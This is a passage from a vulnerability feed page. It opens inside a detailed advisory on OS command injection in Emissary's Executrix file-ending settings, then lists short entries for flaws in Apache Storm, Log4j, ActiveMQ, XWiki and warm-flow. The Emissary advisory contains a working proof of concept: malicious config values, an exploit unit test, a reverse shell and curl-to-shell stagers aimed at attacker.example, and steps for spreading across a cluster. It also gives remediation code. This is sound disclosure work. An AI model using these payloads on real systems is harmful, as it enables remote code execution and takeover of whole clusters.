`inFileEnding` is concatenated directly onto a numeric base to produce `inputFilename`. No character class, no regex, no escaping. #### Step 2 — The injected path is substituted verbatim into a shell string **[`Executrix.java:1053-1065`](src/main/java/emissary/util/shell/Executrix.java#L1053-L1065)** ```java public String[] getCommand(final String[] tmpNames, final String commandArg, final int cpuLimit, final int vmSzLimit) { String c = commandArg; c = c.replaceAll("<INPUT_PATH>", tmpNames[INPATH]); // contains inFileEnding verbatim c = c.replaceAll("<OUTPUT_PATH>", tmpNames[OUTPATH]); c = c.replaceAll("<INPUT_NAME>", tmpNames[IN]); c = c.replaceAll("<OUTPUT_NAME>", tmpNames[OUT]); String ulimitv = ""; if (!SystemUtils.IS_OS_MAC) { ulimitv = "ulimit -v " + vmSzLimit + "; "; } return new String[] {"/bin/sh", "-c", "ulimit -c 0; " + ulimitv + "cd " + tmpNames[DIR] + "; " + c}; } ``` The final array element is passed to `/bin/sh -c`. Shell metacharacters in any substituted value are interpreted by the shell. The identical pattern exists in the `TempFileNames` overload at **[`Executrix.java:1103-1115`](src/main/java/emissary/util/shell/Executrix.java#L1103-L1115)**. #### Step 3 — `setInFileEnding()` and `setOutFileEnding()` perform no validation **[`Executrix.java:1176-1196`](src/main/java/emissary/util/shell/Executrix.java#L1176-L1196)** ```java public void setInFileEnding(final String argInFileEnding) { this.inFileEnding = argInFileEnding; // accepted as-is } public void setOutFileEnding(final String argOutFileEnding) { this.outFileEnding = argOutFileEnding; // accepted as-is } ``` The same absence of validation applies to the `IN_FILE_ENDING` and `OUT_FILE_ENDING` keys read from configuration at **[`Executrix.java:121-122`](src/main/java/emissary/util/shell/Executrix.java#L121-L122)**. #### Contrast: `placeName` is sanitized, file endings are not The framework already sanitizes `placeName` using a strict allowlist: ```java // Executrix.java:78 protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]"); // Executrix.java:148-150 protected static String cleanPlaceName(final String placeName) { return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_"); } ``` `placeName` ends up in `tmpNames[DIR]`, which is also embedded in the shell string. The sanitization of `placeName` demonstrates awareness that these values reach the shell — the omission of equivalent sanitization for `inFileEnding` and `outFileEnding` is the defect. --- ### Proof of Concept Two reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration. --- #### PoC 1 — Docker: end-to-end attack against a live node **Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.** **Environment setup** Put the `Dockerfile.poc` to `contrib/docker/` folder ``` FROM emissary:poc-base COPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/ RUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \ && ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \ && mkdir -p /opt/emissary/localoutput \ && mkdir -p /opt/emissary/target/data \ && chmod -R a+rw /opt/emissary \ && chown -R emissary:emissary /opt/emissary* \ && rm -f /tmp/*.tar.gz USER emissary WORKDIR /opt/emissary EXPOSE 8001 ENTRYPOINT ["./emissary"] CMD ["server", "-a", "2", "-p", "8001"] ``` ```bash # Build the distribution tarball mvn -B -ntp clean package -Pdist -DskipTests # Build and start the Docker container docker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/ docker run -d --name emissary-poc -p 8001:8001 emissary:poc # Wait for the server to start (~15s), then verify health docker exec emissary-poc sh -c \ 'curl -s http://127.0.0.1:8001/api/health | grep -o "healthy"' # healthy ``` **Step 1 — Confirm the marker file does not exist** ```bash docker exec emissary-poc sh -c 'ls /tmp/pwned.txt 2>&1' # ls: cannot access '/tmp/pwned.txt': No such file or directory ``` **Step 2 — Write the malicious place config** Write `emissary.place.UnixCommandPlace.cfg` into the server's config directory. The `EXEC_COMMAND` is a benign `cat`. The injection is entirely in `IN_FILE_ENDING` using backtick command substitution (POSIX-compatible, works on all target OS images): ```bash docker exec emissary-poc sh -c "printf \ 'SERVICE_KEY = \"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\$4000\"\n\ SERVICE_NAME = \"UCP\"\n\ SERVICE_TYPE = \"TRANSFORM\"\n\ PLACE_NAME = \"UnixCommandPlace\"\n\ SERVICE_COST = 4000\n\ SERVICE_QUALITY = 90\n\ SERVICE_PROXY = \"LOWER_CASE\"\n\ EXEC_COMMAND = \"cat <INPUT_PATH>\"\n\ OUTPUT_TYPE = \"STD\"\n\ IN_FILE_ENDING = \"\\\`id > /tmp/pwned.txt\\\`\"\n\ OUT_FILE_ENDING = \".out\"\n' \ > /opt/emissary/config/emissary.place.UnixCommandPlace.cfg" ``` **Step 3 — Add UnixCommandPlace to places.cfg** ```bash docker exec emissary-poc sh -c \ 'printf "\nPLACE = \"@{URL}/UnixCommandPlace\"\n" \ >> /opt/emissary/config/places.cfg' ``` **Step 4 — Restart the server to load the config** ```bash docker restart emissary-poc # wait for health: 200 docker exec emissary-poc sh -c \ 'until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; echo "ready"' ``` Startup log confirms the place loaded: ``` INFO emissary.admin.Startup - Doing local startup on UnixCommandPlace(emissary.place.UnixCommandPlace)...done! ``` **Step 5 — Drop any file into the pickup directory to trigger processing** ```bash docker exec emissary-poc sh -c \ 'echo "any data" > /opt/emissary/target/data/InputData/victim.txt' ``` The Emissary pipeline picks up the file, routes it through `UnixFilePlace` → `ToLowerPlace` → **`UnixCommandPlace`** (cost 4000, lower than `ToUpperPlace` at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside `getCommand()` before `cat` is even called. **Step 6 — Confirm injection executed** ```bash sleep 10 # allow pipeline processing time docker exec emissary-poc sh -c 'cat /tmp/pwned.txt' ``` **Live output (verified):** ``` uid=1000(emissary) gid=1000(emissary) groups=1000(emissary) ``` **Assembled shell string at execution time** (logged by Emissary at DEBUG level): ``` /bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace8273641092/1712345678`id > /tmp/pwned.txt` ``` The backtick expression fires as the shell expands the `cat` argument. The `cat` itself returns non-zero (no file at that path) but that is irrelevant — the injected command has already run. **Transform history from Emissary logs — confirms UnixCommandPlace ran:** ``` transform history: UNKNOWN.FILE_PICK_UP.INPUT.http://localhost:8001/FilePickUpPlace$5050 UNKNOWN.UNIXFILE.ID.http://localhost:8001/UnixFilePlace$2050 UNKNOWN.TO_LOWER.TRANSFORM.http://localhost:8001/ToLowerPlace$6010 LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000 <-- injection fired here ... ``` **Escalating the payload — reverse shell** Replace the `IN_FILE_ENDING` value. The content is passed verbatim to `/bin/sh -c`, so any POSIX shell construct works: ```properties # Reverse shell — POSIX sh compatible (works on Alpine/busybox as well as bash) IN_FILE_ENDING = "`rm -f /tmp/f; mkfifo /tmp/f; sh -i </tmp/f | nc attacker.example 4444 >/tmp/f`" # Curl-based stager (avoids embedding IP in config, works on any image with curl) IN_FILE_ENDING = "`curl -s http://attacker.example/s.sh | sh`" ``` Both fire on the first payload processed — no further attacker interaction required. --- #### PoC 2 — Unit test: isolated, no server required Exercises the identical code path using only the public `Executrix` API. Suitable for inclusion in a CI security regression suite. ```java package emissary.util.shell; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.condition.DisabledOnOs; import org.junit.jupiter.api.condition.OS; import org.junit.jupiter.api.io.TempDir; import java.nio.file.Files; import java.nio.file.Path; import static org.junit.jupiter.api.Assertions.assertTrue; /** * PoC: IN_FILE_ENDING is concatenated into shell paths without escaping, * enabling command injection via getCommand(). * * Mirrors exactly what UnixCommandPlace.runCommandOn() does: * TempFileNames names = executrix.createTempFilenames(); * String[] cmd = executrix.getCommand(names); * executrix.execute(cmd, ...); */ @DisabledOnOs(OS.WINDOWS) class ExecutrixShellInjectionPocTest { @Test void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception { Path marker = tmpDir.resolve("injected"); // Backtick substitution: avoids the Java regex $-group issue in replaceAll() // while still demonstrating the shell executes the injected expression. String payload = "`touch " + marker.toAbsolutePath() + "`"; Executrix executrix = new Executrix(); executrix.setTmpDir(tmpDir.toString()); executrix.setCommand("cat <INPUT_PATH>"); // mirrors UnixCommandPlace default executrix.setInFileEnding(payload); // no validation — accepted as-is // --- path taken by UnixCommandPlace.runCommandOn() --- TempFileNames names = executrix.createTempFilenames(); String[] cmd = executrix.getCommand(names); // cmd[2] == "/bin/sh -c ulimit -c 0; ... cd <tmpdir>; cat <basepath>`touch <marker>`" // Execute — same call as executrix.execute(cmd, outbuf, errbuf) Process proc = Runtime.getRuntime().exec(cmd); proc.waitFor(); assertTrue(Files.exists(marker), "Shell injection succeeded — backtick in IN_FILE_ENDING executed.\n" + "Shell string: " + cmd[2]); } } ``` **Assembled shell string:** ``` /bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat /tmp/UNKNOWN7382910293/1234567890`touch /tmp/junit-abc123/injected` ``` The marker file is created by the backtick expression firing during shell argument expansion. **Note on `$()` vs backticks:** `String.replaceAll()` treats `$` in the replacement as a regex group reference, so a `$(...)` payload causes a `java.lang.IllegalArgumentException` before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the `$` appropriately. **The same injection works via `OUT_FILE_ENDING` → `<OUTPUT_PATH>` / `<OUTPUT_NAME>`, and via the `String[]` overload of `getCommand()` used by `MultiFileUnixCommandPlace`.** --- ### Attack Scenarios Each scenario is a realistic, step-by-step attack path using only capabilities observable in the codebase. --- #### Scenario A — Insider / developer with config write access **Attacker's starting position:** Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides. **Why this is realistic:** Emissary deployments typically load `.cfg` files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change — even a code reviewer who can approve their own PR — can inject the payload. **Step 1 — Add the malicious config as a seemingly routine change** In a PR or direct push to the config repo: ```diff +++ b/config/emissary.place.UnixCommandPlace.cfg @@ -0,0 +1,10 @@ +SERVICE_KEY = "LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000" +SERVICE_NAME = "UCP" +SERVICE_TYPE = "TRANSFORM" +PLACE_NAME = "UnixCommandPlace" +SERVICE_COST = 4000 +SERVICE_QUALITY = 90 +SERVICE_PROXY = "LOWER_CASE" +EXEC_COMMAND = "cat <INPUT_PATH>" +OUTPUT_TYPE = "STD" +IN_FILE_ENDING = "`curl -s http://attacker.example/implant.sh | sh`" +OUT_FILE_ENDING = ".out" ``` The injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability. **Step 2 — Wait for the next deploy** The next routine deploy or restart loads the config. The payload fires on the first payload processed — silently, with no error visible in normal log levels (the place logs a `WARN` for non-zero exit but does not surface the injected command's output). **Deniability:** The `.cfg` file looks like a misconfigured place. The log entry is `Bad execution of commands` — a common operational error, not an obvious security event. --- #### Scenario B — Cluster-wide propagation via the peers API **Attacker's starting position:** RCE on one node (from Scenario A). **Why this is dangerous:** Emissary clusters share config through the directory service. Once the attacker has shell on one node, they can use the cluster's own replication to propagate the malicious config to every peer. **Step 1 — Enumerate all cluster nodes** ```bash curl -s --digest -u <user>:<password> \ http://compromised-node:8001/api/cluster/peers \ | grep -o '"http://[^"]*"' ``` Response: ```json {"local":{"host":"node1:8001","places":[...]},"peers":[{"host":"node2:8001",...},{"host":"node3:8001",...}]} ``` **Step 2 — Push the malicious config to each peer via the Emissary API** From the compromised node, use the Emissary cluster API directly — no SSH required. All nodes authenticate each other using the same shared credentials, and the `CONFIG_DIR` path is disclosed by the `/api/peers` response metadata: ```bash # From the shell gained in Scenario A PAYLOAD=$(cat /opt/emissary/config/emissary.place.UnixCommandPlace.cfg) for peer in node2:8001 node3:8001 node4:8001; do # Write the config file to the peer via its exposed file API # (alternatively: exploit the peer's own pickup directory via the ingest API) curl -s --digest -u <user>:<password> \ -X POST \ -H "Content-Type: text/plain" \ --data-binary "$PAYLOAD" \ "http://${peer}/api/config/emissary.place.UnixCommandPlace.cfg" done ``` If no config write API is available, the same result is achieved by dropping the payload into the peer's monitored pickup directory via the ingest endpoint, or by exploiting the fact that cluster nodes share a network-accessible config store (NFS, S3, git remote) — all of which are common Emissary deployment patterns. **Step 3 — Trigger restart on each peer via the cluster shutdown API** ```bash for peer in node2:8001 node3:8001 node4:8001; do curl -s --digest -u <user>:<password> \ -X POST -H "X-Requested-By: x" \ http://${peer}/api/shutdown done ``` **Outcome:** Every node in the cluster loads the malicious config on restart. Injection fires on all nodes simultaneously on the next payload, giving the attacker shell on the entire cluster from a single initial foothold. ### Impact | Dimension | Assessment | |-----------|------------| | **Confidentiality** | **Critical** — arbitrary read of files accessible to the Emissary process | | **Integrity** | **Critical** — arbitrary file write, process state modification, persistence | | **Availability** | **Critical** — process termination, resource exhaustion | | **Blast radius** | Any place that uses `Executrix` and calls `getCommand()`; this includes all subclasses of `ExecPlace` and any custom place that follows the documented pattern | --- ## Recommended Remediation ### Primary fix — validate `inFileEnding` and `outFileEnding` on assignment Apply the same allowlist pattern already used for `placeName`: ```java // Add to Executrix.java private static final Pattern VALID_FILE_ENDING = Pattern.compile("^[a-zA-Z0-9._-]*$"); public void setInFileEnding(final String argInFileEnding) { if (!VALID_FILE_ENDING.matcher(argInFileEnding).matches()) { throw new IllegalArgumentException( "IN_FILE_ENDING contains illegal characters: " + argInFileEnding); } this.inFileEnding = argInFileEnding; } public void setOutFileEnding(final String argOutFileEnding) { if (!VALID_FILE_ENDING.matcher(argOutFileEnding).matches()) { throw new IllegalArgumentException( "OUT_FILE_ENDING contains illegal characters: " + argOutFileEnding); } this.outFileEnding = argOutFileEnding; } ``` Apply the same validation inside `configure()` where the values are read from the `Configurator`. ### Secondary fix (defence-in-depth) — shell-quote substituted values in `getCommand()` Even if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component: ```java // In getCommand(), wrap each substituted value in single quotes // and escape any embedded single quotes. // Java string "'\\'''" is the four characters: ' \ ' ' // which at runtime produces the shell sequence: '\'' // (close quote, literal single quote, reopen quote) private static String shellQuote(String value) { return "'" + value.replace("'", "'\\''") + "'"; } // Then: c = c.replace("<INPUT_PATH>", shellQuote(tmpNames[INPATH])); c = c.replace("<OUTPUT_PATH>", shellQuote(tmpNames[OUTPATH])); c = c.replace("<INPUT_NAME>", shellQuote(tmpNames[IN])); c = c.replace("<OUTPUT_NAME>", shellQuote(tmpNames[OUT])); ``` ### Why this is a framework-level fix The framework's `cleanPlaceName()` method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to `inFileEnding` and `outFileEnding` is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.

الإصدارات المتأثرة

<= 8.42.0

نوع الثغرة

CWE-78 — OS Command Injection

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

5.4/10 متوسطة
📦 org.apache.storm:storm-webapp 🏢 apache 📌 < 2.8.6 🌐 متصفح 📦 مكتبة Java maven ⚡ XSS 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 Stored Cross-Site Scripting (XSS) via Unsanitized Topology Metadata in Apache Storm UI Versions Affected: before 2.8.6 Description: The Storm UI visualization component interpolates topology metadata including component IDs, stream names, and grouping values directly into HTM...
📅 2026-04-13 NVD 🔗 التفاصيل

الوصف الكامل

Stored Cross-Site Scripting (XSS) via Unsanitized Topology Metadata in Apache Storm UI Versions Affected: before 2.8.6 Description: The Storm UI visualization component interpolates topology metadata including component IDs, stream names, and grouping values directly into HTML via innerHTML in parseNode() and parseEdge() without sanitization at any layer. An authenticated user with topology submission rights could craft a topology containing malicious HTML/JavaScript in component identifiers (e.g., a bolt ID containing an onerror event handler). This payload flows through Nimbus → Thrift → the Visualization API → vis.js tooltip rendering, resulting in stored cross-site scripting.  In multi-tenant deployments where topology submission is available to less-trusted users but the UI is accessed by operators or administrators, this enables privilege escalation through script execution in an admin's browser session. Mitigation: 2.x users should upgrade to 2.8.6. Users who cannot upgrade immediately should monkey-patch the parseNode() and parseEdge() functions in the visualization JavaScript file to HTML-escape all API-supplied values including nodeId, :capacity, :latency, :component, :stream, and :grouping before interpolation into tooltip HTML strings, and should additionally restrict topology submission to trusted users via Nimbus ACLs as a defense-in-depth measure. A guide on how to do this is available in the release notes of 2.8.6. Credit: This issue was discovered while investigating another report by K.

الإصدارات المتأثرة

< 2.8.6

نوع الثغرة

CWE-79 — XSS

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

8.8/10 عالية
📦 org.apache.storm:storm-client 🏢 apache 📌 < 2.8.6 🗄️ سيرفر 📦 مكتبة Java maven ⚡ Deserialization 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 Deserialization of Untrusted Data vulnerability in Apache Storm. Versions Affected: before 2.8.6. Description: When processing topology credentials submitted via the Nimbus Thrift API, Storm deserializes the base64-encoded TGT blob using ObjectInputStream.readObject() without ...
📅 2026-04-13 NVD 🔗 التفاصيل

الوصف الكامل

Deserialization of Untrusted Data vulnerability in Apache Storm. Versions Affected: before 2.8.6. Description: When processing topology credentials submitted via the Nimbus Thrift API, Storm deserializes the base64-encoded TGT blob using ObjectInputStream.readObject() without any class filtering or validation. An authenticated user with topology submission rights could supply a crafted serialized object in the "TGT" credential field, leading to remote code execution in both the Nimbus and Worker JVMs. Mitigation: 2.x users should upgrade to 2.8.6. Users who cannot upgrade immediately should monkey-patch an ObjectInputFilter allow-list to ClientAuthUtils.deserializeKerberosTicket() restricting deserialized classes to javax.security.auth.kerberos.KerberosTicket and its known dependencies. A guide on how to do this is available in the release notes of 2.8.6. Credit: This issue was discovered by K.

الإصدارات المتأثرة

< 2.8.6

نوع الثغرة

CWE-502 — Deserialization

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.3/10 متوسطة
📦 org.dromara.warm:warm-flow-plugin-modes-sb 📌 < 1.8.5 🗄️ سيرفر 📦 مكتبة Java maven ⚡ Injection 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 A security flaw has been discovered in Dromara warm-flow up to 1.8.4. Impacted is the function SpelHelper.parseExpression of the file /warm-flow/save-json of the component Workflow Definition Handler. The manipulation of the argument listenerPath/skipCondition/permissionFlag resu...
📅 2026-04-12 NVD 🔗 التفاصيل

الوصف الكامل

A security flaw has been discovered in Dromara warm-flow up to 1.8.4. Impacted is the function SpelHelper.parseExpression of the file /warm-flow/save-json of the component Workflow Definition Handler. The manipulation of the argument listenerPath/skipCondition/permissionFlag results in code injection. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks.

الإصدارات المتأثرة

< 1.8.5

نوع الثغرة

CWE-74 — Injection

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

6.3/10 متوسطة
📦 org.apache.logging.log4j:log4j-layout-template-json, org.apache.logging.log4j:log4j-layout-template-json 📌 >= 2.14.0, < 2.25.4, >= 3.0.0-alpha1, < 3.0.0-beta3 🗄️ سيرفر 📦 مكتبة Java maven ⚡ CWE-116 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 ppkarwasz
💬 Apache Log4j's [`JsonTemplateLayout`](https://logging.apache.org/log4j/2.x/manual/json-template-layout.html), in versions up to and including 2.25.3, produces invalid JSON output when log events contain non-finite floating-point values (`NaN`, `Infinity`, or `-Infinity`), which a...
📅 2026-04-10 GitHub 🔗 التفاصيل

الوصف الكامل

Apache Log4j's [`JsonTemplateLayout`](https://logging.apache.org/log4j/2.x/manual/json-template-layout.html), in versions up to and including 2.25.3, produces invalid JSON output when log events contain non-finite floating-point values (`NaN`, `Infinity`, or `-Infinity`), which are prohibited by RFC 8259. This may cause downstream log processing systems to reject or fail to index affected records. An attacker can exploit this issue only if both of the following conditions are met: * The application uses `JsonTemplateLayout`. * The application logs a `MapMessage` containing an attacker-controlled floating-point value. Users are advised to upgrade to Apache Log4j JSON Template Layout 2.25.4, which corrects this issue.

الإصدارات المتأثرة

>= 2.14.0, < 2.25.4, >= 3.0.0-alpha1, < 3.0.0-beta3

نوع الثغرة

CWE-116 — CWE-116

CVSS Vector

CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N

6.9/10 متوسطة
📦 org.apache.logging.log4j:log4j-core, org.apache.logging.log4j:log4j-core 📌 >= 2.0-alpha1, < 2.25.4, >= 3.0.0-alpha1, < 3.0.0-beta3 🗄️ سيرفر 📦 مكتبة Java maven ⚡ CWE-116 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 ppkarwasz
💬 Apache Log4j Core's [`XmlLayout`](https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout), in versions up to and including 2.25.3, fails to sanitize characters forbidden by the [XML 1.0 specification](https://www.w3.org/TR/xml/#charsets), producing invalid XML output ...
📅 2026-04-10 GitHub 🔗 التفاصيل

الوصف الكامل

Apache Log4j Core's [`XmlLayout`](https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout), in versions up to and including 2.25.3, fails to sanitize characters forbidden by the [XML 1.0 specification](https://www.w3.org/TR/xml/#charsets), producing invalid XML output whenever a log message or MDC value contains such characters. The impact depends on the StAX implementation in use: * **JRE built-in StAX**: Forbidden characters are silently written to the output, producing malformed XML. Conforming parsers must reject such documents with a fatal error, which may cause downstream log-processing systems to drop the affected records. * **Alternative StAX implementations** (e.g., [Woodstox](https://github.com/FasterXML/woodstox), a transitive dependency of the Jackson XML Dataformat module): An exception is thrown during the logging call, and the log event is never delivered to its intended appender, only to Log4j's internal status logger. Users are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue by sanitizing forbidden characters before XML output.

الإصدارات المتأثرة

>= 2.0-alpha1, < 2.25.4, >= 3.0.0-alpha1, < 3.0.0-beta3

نوع الثغرة

CWE-116 — CWE-116

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N

7.5/10 عالية
📦 org.apache.activemq:activemq-client, org.apache.activemq:activemq-client, org.apache.activemq:activemq-broker, org.apache.activemq:activemq-broker, org.apache.activemq:activemq-all, org.apache.activemq:activemq-all, org.apache.activemq:apache-activemq, org.apache.activemq:apache-activemq 📌 < 5.19.4, >= 6.0.0, < 6.2.4, < 5.19.4, >= 6.0.0, < 6.2.4, < 5.19.4, >= 6.0.0, < 6.2.4, < 5.19.4, >= 6.0.0, < 6.2.4 🗄️ سيرفر 📦 مكتبة Java maven ⚡ DoS 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 Denial of Service via Out of Memory vulnerability in Apache ActiveMQ Client, Apache ActiveMQ Broker, Apache ActiveMQ. ActiveMQ NIO SSL transports do not correctly handle TLSv1.3 handshake KeyUpdates triggered by clients. This makes it possible for a client to rapidly trigger upd...
📅 2026-04-10 GitHub 🔗 التفاصيل

الوصف الكامل

Denial of Service via Out of Memory vulnerability in Apache ActiveMQ Client, Apache ActiveMQ Broker, Apache ActiveMQ. ActiveMQ NIO SSL transports do not correctly handle TLSv1.3 handshake KeyUpdates triggered by clients. This makes it possible for a client to rapidly trigger updates which causes the broker to exhaust all its memory in the SSL engine leading to DoS. Note: TLS versions before TLSv1.3 (such as TLSv1.2) are broken but are not vulnerable to OOM. Previous TLS versions require a full handshake renegotiation which causes a connection to hang but not OOM. This is fixed as well. This issue affects Apache ActiveMQ Client: before 5.19.4, from 6.0.0 before 6.2.4; Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.4; Apache ActiveMQ: before 5.19.4, from 6.0.0 before 6.2.4. Users are recommended to upgrade to version 6.2.4 or 5.19.5, which fixes the issue.

الإصدارات المتأثرة

< 5.19.4, >= 6.0.0, < 6.2.4, < 5.19.4, >= 6.0.0, < 6.2.4, < 5.19.4, >= 6.0.0, < 6.2.4, < 5.19.4, >= 6.0.0, < 6.2.4

نوع الثغرة

CWE-400 — DoS

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

5.4/10 متوسطة
📦 org.apache.activemq:apache-activemq, org.apache.activemq:activemq-all, org.apache.activemq:activemq-mqtt 📌 >= 6.0.0, < 6.2.4, >= 6.0.0, < 6.2.4, >= 6.0.0, < 6.2.4 🗄️ سيرفر 📦 مكتبة Java maven ⚡ Integer Overflow 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 Integer Overflow or Wraparound vulnerability in Apache ActiveMQ, Apache ActiveMQ All, Apache ActiveMQ MQTT. The fix for "CVE-2025-66168: MQTT control packet remaining length field is not properly validated" was only applied to 5.19.2 (and future 5.19.x) releases but was missed f...
📅 2026-04-09 GitHub 🔗 التفاصيل

الوصف الكامل

Integer Overflow or Wraparound vulnerability in Apache ActiveMQ, Apache ActiveMQ All, Apache ActiveMQ MQTT. The fix for "CVE-2025-66168: MQTT control packet remaining length field is not properly validated" was only applied to 5.19.2 (and future 5.19.x) releases but was missed for all 6.0.0+ versions. This issue affects Apache ActiveMQ: from 6.0.0 before 6.2.4; Apache ActiveMQ All: from 6.0.0 before 6.2.4; Apache ActiveMQ MQTT: from 6.0.0 before 6.2.4. Users are recommended to upgrade to version 6.2.4 or a 5.19.x version starting with 5.19.2 or later (currently latest is 5.19.5), which fixes the issue.

الإصدارات المتأثرة

>= 6.0.0, < 6.2.4, >= 6.0.0, < 6.2.4, >= 6.0.0, < 6.2.4

نوع الثغرة

CWE-190 — Integer Overflow

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

9.8/10 عالية
📦 org.xwiki.platform:xwiki-platform-oldcore, org.xwiki.platform:xwiki-platform-oldcore, org.xwiki.platform:xwiki-platform-legacy-oldcore, org.xwiki.platform:xwiki-platform-legacy-oldcore 🏢 xwiki 📌 >= 17.0.0-rc-1, < 17.4.8, >= 17.5.0-rc-1, < 17.10.1, >= 17.0.0-rc-1, < 17.4.8, >= 17.5.0-rc-1, < 17.10.1 ⛓️‍💥 هجوم سلسلة التوريد 📦 مكتبة Java maven ⚡ Missing Authorization 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 azefzafyoussef
💬 ### Impact An improperly protected scripting API allows any user with script right to bypass the sandboxing of the Velocity scripting API and execute, e.g., arbitrary Python scripts, allowing full access to the XWiki instance and thereby compromising the confidentiality, integrit...
📅 2026-04-08 GitHub 🔗 التفاصيل

الوصف الكامل

### Impact An improperly protected scripting API allows any user with script right to bypass the sandboxing of the Velocity scripting API and execute, e.g., arbitrary Python scripts, allowing full access to the XWiki instance and thereby compromising the confidentiality, integrity and availability of the whole instance. Note that script right already constitutes a high level of access that we don't recommend giving to untrusted users. ### Patches The vulnerability has been patched in XWiki 17.4.8 and 17.10.1 by requiring programming right to access the affected scripting API. ### Workarounds We're not aware of any workarounds except for being careful whom you grant script right. ### Attribution We thank Youssef Azefzaf for discovering and reporting this vulnerability.

الإصدارات المتأثرة

>= 17.0.0-rc-1, < 17.4.8, >= 17.5.0-rc-1, < 17.10.1, >= 17.0.0-rc-1, < 17.4.8, >= 17.5.0-rc-1, < 17.10.1

نوع الثغرة

CWE-862 — Missing Authorization

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N